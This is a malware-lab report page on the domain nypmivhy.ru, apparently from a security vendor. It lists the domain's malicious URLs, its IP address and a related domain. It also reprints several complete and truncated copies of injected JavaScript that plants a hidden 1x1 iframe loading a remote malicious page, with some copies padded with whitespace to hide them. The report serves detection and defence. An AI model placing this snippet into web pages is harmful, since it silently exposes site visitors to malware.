Sucuri Malware Labs

Details for the domain nypmivhy.ru

URLs and sub domains distributing the malware or acting as a redirector:

http://nypmivhy.ru/count5.php http://nypmivhy.ru/count5.php http://nypmivhy.ru/count5.php?p=content ipt type="text/javascript" language="javascript" > (function () { var ipexz = document.createElement('iframe'); ipexz.src = 'http://nypmivhy.ru/count5.php'; ipexz.style.position = 'absolute'; ipexz.style.border = '0'; ipexz.style.height = '1p ipt type="text/javascript" language="javascript" > (function () { var usyux = document.createElement('iframe'); usyux.src = 'http://nypmivhy.ru/count5.php'; usyux.style.position = 'absolute'; usyux.style.border = '0'; usyux.style.height = '1p pt type="text/javascript" language="javascript" > (function () { var ipexz = document.createElement('iframe'); ipexz.src = 'http://nypmivhy.ru/count5.php'; ipexz.style.position = 'absolute'; ipexz.style.border = '0'; ipexz.style.height = '1px pt type=\"text/javascript\" language=\"javascript\" > (function () { var usyux = document.createElement('iframe'); usyux.src = 'http://nypmivhy.ru/count5.php'; usyux.style.position = 'absolute'; usyux.style.border = '0'; usyux.style.height =  pt type="text/javascript" language="javascript" > (function () { var usyux = document.createElement('iframe'); usyux.src = 'http://nypmivhy.ru/count5.php'; usyux.style.position = 'absolute'; usyux.style.border = '0'; usyux.style.height = '1px <script type="text/javascript" language="javascript" >                                                                                                                                                                                                                                                          (function () {    var ipexz = document.createElement('iframe');    ipexz.src = 'http://nypmivhy.ru/count5.php';    ipexz.style.position = 'absolute';    ipexz.style.border = '0';    ipexz.style.height = '1px';    ipexz.style.width = '1px';    ipexz.style.left = '1px';    ipexz.style.top = '1px';    if (!document.getElementById('ipexz')) {        document.write('<div id=\'ipexz\'></div>');        document.getElementById('ipexz').appendChild(ipexz);    }})();</script> <script type="text/javascript" language="javascript" >                                                                                                                                                                                                                                                          (function () {    var usyux = document.createElement('iframe');    usyux.src = 'http://nypmivhy.ru/count5.php';    usyux.style.position = 'absolute';    usyux.style.border = '0';    usyux.style.height = '1px';    usyux.style.width = '1px';    usyux.style.left = '1px';    usyux.style.top = '1px';    if (!document.getElementById('usyux')) {        document.write('<div id=\'usyux\'></div>');        document.getElementById('usyux').appendChild(usyux);    }})();</script> <script type=\"text/javascript\" language=\"javascript\" >                                                                                                                                                                                                                                                          (function () {    var usyux = document.createElement('iframe');    usyux.src = 'http://nypmivhy.ru/count5.php';    usyux.style.position = 'absolute';    usyux.style.border = '0';    usyux.style.height = '1px';    usyux.style.width = '1px';    usyux.style.left = '1px';    usyux.style.top = '1px';    if (!document.getElementById('usyux')) {        document.write('<div id=\'usyux\'></div>');        document.getElementById('usyux').appendChild(usyux);    }})();</script>

Blacklist status

Blacklist status for nypmivhy.ru: http://labs.sucuri.net/?blacklist=nypmivhy.ru

IP address information

Domain nypmivhy.ru is at: 159.224.24.213 (213.24.224.159.triolan.net)

All malware-related domains at this IP address:
kuirfufo.ru nypmivhy.ru